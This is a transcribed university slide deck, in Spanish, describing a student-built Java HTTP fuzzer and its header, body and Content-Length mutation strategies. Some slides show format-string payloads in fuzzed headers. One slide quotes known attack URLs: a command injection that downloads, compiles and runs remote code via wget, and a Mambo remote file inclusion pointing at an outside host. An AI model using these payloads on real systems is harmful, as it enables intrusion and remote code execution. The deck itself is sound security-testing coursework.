La descarga está en progreso. Por favor, espere

La descarga está en progreso. Por favor, espere

Seguridad de la información 2do cuatrimestre 2007 Matías Chiodi, Hugo Meléndez, Diego Hara.

Presentaciones similares


Presentación del tema: "Seguridad de la información 2do cuatrimestre 2007 Matías Chiodi, Hugo Meléndez, Diego Hara."— Transcripción de la presentación:

1 Seguridad de la información 2do cuatrimestre 2007 Matías Chiodi, Hugo Meléndez, Diego Hara

2 Temario Fuzzing Objetivo del trabajo Documentación Implementación HTTP Requests Body+Content-Length Headers Ejemplos Casos conocidos en la URL Estrategias Framework ¿Cómo seguimos?

3 Fuzzing Recordemos sobre la clase de fuzzers… Técnica de testing Entradas aleatorias para programas Diseño del test sencillo Fácilmente reproducible (semiautomático/automático) Objetivo: Encontrar vulnerabilidades Buffer overflow Format String Race Conditions DoS por consumo de recursos Etc.

4 Objetivo del trabajo Investigación sobre fuzzers. HTTP Fuzzers existentes JBroFuzz (http://www.owasp.org/index.php/Category:OWASP_JBroFuzz) Basic cross site scripting (XSS) checks Basic SQL injection (SQL) checks Buffer overflows (BFO) checks Format string errors (FSE) checks Integer overflows (INT) checks Implementar un HTTP fuzzer o Generar request malformados o Atacar distintas partes del request o Utilizar técnicas variadas en headers

5 Documentación RFC 2616 - Hypertext Transfer Protocol -- HTTP/1.1 Material online. http://en.wikipedia.org/wiki/Fuzzer http://web-sniffer.net/

6 Implementación Se creo un proyecto en Google Code para aprovechar las ventajas que provee (SVN, mantenimiento, etc.) http://si-httpfuzzer.googlecode.com/ Lenguaje utilizado: Java Librerías de conexión. Librerías para interactuar con el protocolo (http). Estructuras de alto nivel. Conocimiento del lenguaje por los integrantes del grupo. Eclipse

7 Implementación Se decidió atacar el request HTTP en diferentes formas Body (contenido con datos al azar). Content-length (tamaño invalido con respecto al body). Headers. Casos conocidos en la URL. Se utilizaron 2 estrategias distintas Buffer Overflow. Format String. Mucho Random!!!

8 HTTP Requests GET /dumprequest.html HTTP/1.1 Host: djce.org.uk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Accept: text/xml, application/xml, application/xhtml+xml, text/html;q=0.9, text/plain;q=0.8, */*;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Accept-Encoding: gzip,deflate Accept-Language: en-us,en;q=0.5 Connection: keep-alive Keep-Alive: 300 POST / HTTP/1.1 Host: djce.org.uk Connection: close User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Accept-Encoding: gzip Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Content-type: application/x-www-form-urlencoded Content-length: 32 home=Cosby&favorite+flavor=flies

9 Body + Content-Length Body Contenido aleatorio. Content-Length El mismo Mayor Menor Negativo Integer.MAXVALUE x 2 Alfanuméricos

10 Headers Accept AcceptCharset AcceptEncoding AcceptLanguage ContentMD5 Date Expect From Host IfMatch IfModifiedSince IfNoneMatch IfRange IfUnmodifiedSince Range Referer TE Upgrade UserAgent Warning

11 Headers Accept AcceptCharset AcceptEncoding AcceptLanguage ContentMD5 Date Expect From Host IfMatch IfModifiedSince IfNoneMatch IfRange IfUnmodifiedSince Range Referer TE Upgrade UserAgent Warning Tamaño Fijo

12 Headers Accept AcceptCharset AcceptEncoding AcceptLanguage ContentMD5 Date Expect From Host IfMatch IfModifiedSince IfNoneMatch IfRange IfUnmodifiedSince Range Referer TE Upgrade UserAgent Warning Tamaño Fijo Fechas

13 Headers Accept AcceptCharset AcceptEncoding AcceptLanguage ContentMD5 Date Expect From Host IfMatch IfModifiedSince IfNoneMatch IfRange IfUnmodifiedSince Range Referer TE Upgrade UserAgent Warning Tamaño Fijo Fechas Lista

14 Headers Accept AcceptCharset AcceptEncoding AcceptLanguage ContentMD5 Date Expect From Host IfMatch IfModifiedSince IfNoneMatch IfRange IfUnmodifiedSince Range Referer TE Upgrade UserAgent Warning Tamaño Fijo Fechas Lista Contenido Mixto

15 Headers Accept AcceptCharset AcceptEncoding AcceptLanguage ContentMD5 Date Expect From Host IfMatch IfModifiedSince IfNoneMatch IfRange IfUnmodifiedSince Range Referer TE Upgrade UserAgent Warning Tamaño Fijo Fechas Lista Contenido Mixto Formato Fijo

16 Headers Accept (lista – contenido mixto) text/xml, application/xml, text/html;q=0.9, text/plain;q=0.8, */* Date (fecha – formato fijo) Sat, 29 Oct 1994 19:43:31 GMT Host (formato fijo – contenido mixto) www.example.mil:80 From (formato fijo) yo@nadie.uba.ar

17 Ejemplos Accept (lista – contenido mixto) Accept: F92V92F=#5$#5GG552F9DGH23!DGH#6755J3202F0934F2FDFGDFBZFG$5GDF ……… Accept: F92V92, F=#5$#5GG5, 52F9DGH23!, DGH#6755J3202, F2FDFGDFBZFG$5GDF, ……… Accept: %x%x%x%x%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n Accept: F92V92;q=-3, F=#5$#5GG5;q=4.2, 52F9DGH23!;q=99999, ……… Date (fecha – formato fijo) Date: Sat, 29 Oct 1214 19:43:31 GMT Date: Sat, 29 Feb 2007 19:43:31 GMT Date: %x%x%x%x%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n Date: text/html, uuups Host (formato fijo – contenido mixto) Host: www.exaGDFGDGmple.zaraza.SSDCCZCZZXCSSmil Host: www.exampdFGDFGDGFle.zaraza.SSDCCZCZZXCSSmil:348273974829384729384792384 From (formato fijo) From: Xlkc3e93lskslosdfjsdflsdlksdfklsfd ……… From: Xlkc%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x3e93lskslosdfjsdflsdlksdfklsfd ……… From: Dsksdfhksdhksdjskd…@sdjklsdhjksjhskjsdf.sjhksfhjksjfkd.skljsfhsj…

18 Casos conocidos en la URL Barbut cmd.gif?=?&cmd=cd /tmp;killall -9 barbut;rm -f barbut.c;rm -f barbut;wget http://crekom.com/barbut.c;gcc barbut.c -o barbut;./b /mambo//index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS= &mosConfig_absolute_path=http://crekom.com/

19 Estrategias Buffer Overflow Min, Max por header. Por tipo de dato. Format String Min, Max por header. Inserción de %x, %n,%s

20 Framework Jerarquía de Headers. Delegación en estrategias. Generación aleatoria de casos. Logueo de resultados. Reproducción de casos ejecutados.

21 ¿Cómo seguimos? Atacar otros métodos. Armar una repositorio de ataques conocidos. Atacar un header en particular. Definir las estrategias por header.

22 Preguntas

23 FIN Muchas Gracias


Descargar ppt "Seguridad de la información 2do cuatrimestre 2007 Matías Chiodi, Hugo Meléndez, Diego Hara."

Presentaciones similares


Anuncios Google